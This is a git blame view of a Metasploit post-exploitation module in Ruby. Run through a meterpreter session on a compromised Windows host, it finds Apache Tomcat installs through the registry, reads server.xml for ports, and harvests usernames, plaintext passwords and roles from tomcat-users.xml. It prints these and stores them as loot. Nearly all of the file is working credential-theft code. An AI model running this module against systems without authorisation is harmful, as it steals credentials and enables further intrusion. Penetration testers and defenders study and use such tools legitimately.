Files
metasploit-gs/modules/post/windows/gather/enum_tomcat.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

240 lines
6.9 KiB
Ruby
Raw Normal View History

2012-09-28 00:40:17 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-28 00:40:17 +01:00
##
require 'rexml/document'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-05 13:41:25 -05:00
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Apache Tomcat Enumeration',
'Description' => %q{
This module will collect information from a Windows-based Apache Tomcat. You will get
information such as: The installation path, Tomcat version, port, web applications,
users, passwords, roles, etc.
},
'License' => MSF_LICENSE,
'Author' => [
'Barry Shteiman <barry[at]sectorix.com>', # Module author
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
2013-09-05 13:41:25 -05:00
end
# method called when command run is issued
def run
installs = []
results = []
users = []
print_status("Enumerating Tomcat Servers on #{sysinfo['Computer']}")
if check_tomcat
installs += identify_registry
2023-02-08 13:47:34 +00:00
if !installs.empty?
2013-09-05 13:41:25 -05:00
installs.each do |inst|
2023-02-08 13:47:34 +00:00
results += enumerate_tomcat(inst[0], inst[1])
2013-09-05 13:41:25 -05:00
users += enumerate_tomcat_creds(inst[0])
end
else
2023-02-08 13:47:34 +00:00
print_status('Done, Tomcat Not Found')
2013-09-05 13:41:25 -05:00
return
end
end
if results.empty?
2023-02-08 13:47:34 +00:00
print_status('Done, Tomcat Not Found')
2013-09-05 13:41:25 -05:00
return
end
2023-02-08 13:47:34 +00:00
print_status('Done, Tomcat Found.')
2013-09-05 13:41:25 -05:00
2016-08-10 13:30:09 -05:00
tbl_services = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Tomcat Applications ',
'Indent' => 1,
2013-09-05 13:41:25 -05:00
'Columns' =>
[
2023-02-08 13:47:34 +00:00
'Host',
'Tomcat Version',
'Port',
'Web Application'
]
)
results.each do |r|
report_service(host: session.sock.peerhost, port: r[2], name: 'http', info: "#{r[0]} Tomcat #{r[1]}, Application:#{r[3]}")
2013-09-05 13:41:25 -05:00
tbl_services << r
2023-02-08 13:47:34 +00:00
end
2013-09-05 13:41:25 -05:00
2016-08-10 13:30:09 -05:00
tbl_users = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Tomcat Server Users ',
'Indent' => 1,
2013-09-05 13:41:25 -05:00
'Columns' =>
[
2023-02-08 13:47:34 +00:00
'Host',
'User',
'Password',
'Roles'
]
)
users.each do |u|
tbl_users << [ session.sock.peerhost, u[0], u[1], u[2] ]
end
2013-09-05 13:41:25 -05:00
2023-02-08 13:47:34 +00:00
print_line
2013-09-05 13:41:25 -05:00
print_line(tbl_services.to_s)
print_line(tbl_users.to_s)
2023-02-08 13:47:34 +00:00
p = store_loot('host.webservers.tomcat', 'text/plain', session, tbl_services.to_s + "\n" + tbl_users.to_s, 'tomcat.txt', 'Tomcat Server Enum')
2017-07-19 13:02:49 +01:00
print_good("Results stored in: #{p}")
2013-09-05 13:41:25 -05:00
end
### initial identification methods ###
# method for checking if webserver is installed on server - tomcat
def check_tomcat
2023-02-08 13:47:34 +00:00
key = 'HKLM\\SOFTWARE\\Apache Software Foundation'
if registry_enumkeys(key).include?('Tomcat')
2013-09-05 13:41:25 -05:00
print_status("\tTomcat found.")
return true
end
return false
2023-02-08 13:47:34 +00:00
rescue StandardError
2013-09-05 13:41:25 -05:00
return false
end
### deep server enumeration methods ###
# enumerate tomcat
2023-02-08 13:47:34 +00:00
def enumerate_tomcat(val_installpath, val_version)
2013-09-05 13:41:25 -05:00
results = []
found = false
print_good("\t\t+ Version: #{val_version}")
print_good("\t\t+ Path: #{val_installpath}")
2023-02-08 13:47:34 +00:00
if !exist?(val_installpath + '\\conf\\server.xml')
2013-09-05 13:41:25 -05:00
print_error("\t\t! tomcat configuration not found")
return results
end
appname = find_application_name(val_installpath)
ports = []
2023-02-08 13:47:34 +00:00
xml_data = read_file(val_installpath + '\\conf\\server.xml')
2013-09-05 13:41:25 -05:00
doc = REXML::Document.new(xml_data)
doc.elements.each('Server/Service/Connector') do |e|
ports << e.attributes['port']
end
ports.uniq.each do |p|
print_good("\t\t+ Port: #{p}")
found = true
2023-02-08 13:47:34 +00:00
results << [session.sock.peerhost, val_version.to_s, p, appname]
2013-09-05 13:41:25 -05:00
end
if found
print_good("\t\t+ Application: [#{appname}]")
else
print_error("\t\t! port not found")
end
return results
2023-02-08 13:47:34 +00:00
rescue StandardError
2013-09-05 13:41:25 -05:00
print_error("\t\t! could not identify information")
return results || []
end
# enumerate tomcat users from its user base
def enumerate_tomcat_creds(val_installpath)
users = []
2023-02-08 13:47:34 +00:00
userpath = val_installpath + '\\conf\\tomcat-users.xml'
2013-09-05 13:41:25 -05:00
if exist?(userpath)
xml_data = read_file(userpath)
doc = REXML::Document.new(xml_data)
2023-02-08 13:47:34 +00:00
if !doc.elements.empty?
2013-09-05 13:41:25 -05:00
doc.elements.each('tomcat-users/user') do |e|
2023-02-08 13:47:34 +00:00
e_user = e.attributes['name']
if !e_user.empty?
e_user = e.attributes['name']
2013-09-05 13:41:25 -05:00
else
2023-02-08 13:47:34 +00:00
e.user = e_user = e.attributes['username']
2013-09-05 13:41:25 -05:00
end
2023-02-08 13:47:34 +00:00
users << [ e_user, e.attributes['password'], e.attributes['roles'] ]
2013-09-05 13:41:25 -05:00
print_good("\t\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]")
end
else
print_error("\t\t! No Users Found")
return users
end
end
return users
2023-02-08 13:47:34 +00:00
rescue StandardError
2013-09-05 13:41:25 -05:00
print_error("\t\t! could not identify users")
return users || []
end
### helper functions ###
2023-02-08 13:47:34 +00:00
# this method identifies the correct registry path to tomcat details, and returns [path,version]
2013-09-05 13:41:25 -05:00
def identify_registry
values = []
2023-02-08 13:47:34 +00:00
basekey = 'HKLM\\SOFTWARE\\Apache Software Foundation\\Tomcat'
2013-09-05 13:41:25 -05:00
instances = registry_enumkeys(basekey)
2023-02-08 13:47:34 +00:00
if !instances.nil? && !instances.empty?
2013-09-05 13:41:25 -05:00
instances.each do |i|
major_version_key = "#{basekey}\\#{i}"
services = registry_enumkeys(major_version_key)
if services.empty?
2023-02-08 13:47:34 +00:00
val_installpath = registry_getvaldata(major_version_key, 'InstallPath')
val_version = registry_getvaldata(major_version_key, 'Version')
values << [val_installpath, val_version]
2013-09-05 13:41:25 -05:00
else
services.each do |s|
service_key = "#{major_version_key}\\#{s}"
2023-02-08 13:47:34 +00:00
val_installpath = registry_getvaldata(service_key, 'InstallPath')
val_version = registry_getvaldata(service_key, 'Version')
values << [val_installpath, val_version]
2013-09-05 13:41:25 -05:00
end
end
end
end
return values
2023-02-08 13:47:34 +00:00
rescue StandardError
2013-09-05 13:41:25 -05:00
print_error("\t\t! failed to locate install path")
return nil || []
end
2023-02-08 13:47:34 +00:00
# this function extracts the application name from the main page of the web application
2013-09-05 13:41:25 -05:00
def find_application_name(val_installpath)
2023-02-08 13:47:34 +00:00
index_file = ['index.html', 'index.htm', 'index.php', 'index.jsp', 'index.asp']
path = val_installpath + '\\webapps'
if !directory?(path + '\\ROOT')
2013-09-05 13:41:25 -05:00
print_error("\t\t! expected directory wasnt found")
2023-02-08 13:47:34 +00:00
return 'Unknown'
2013-09-05 13:41:25 -05:00
end
index_file.each do |i|
2023-02-08 13:47:34 +00:00
if !exist?("#{path}\\ROOT\\#{i}")
2013-09-05 13:41:25 -05:00
next
end
2023-02-08 13:47:34 +00:00
2013-09-05 13:41:25 -05:00
data = read_file(path + "\\ROOT\\#{i}")
2023-02-08 13:47:34 +00:00
if data =~ %r{(?i)<title>([^<]+)</title>}
return ::Regexp.last_match(1)
elsif data =~ %r{(?i)onload="?document\.location=['"]?([/\w\d]+)['"]?"?}
# look for redirect as name
return ::Regexp.last_match(1).gsub('/', '')
2013-09-05 13:41:25 -05:00
end
end
2023-02-08 13:47:34 +00:00
return 'Unknown'
rescue StandardError
2013-09-05 13:41:25 -05:00
print_error("\t\t! could not identify application name")
2023-02-08 13:47:34 +00:00
return 'Unknown'
2013-09-05 13:41:25 -05:00
end
2012-10-23 20:33:01 +02:00
end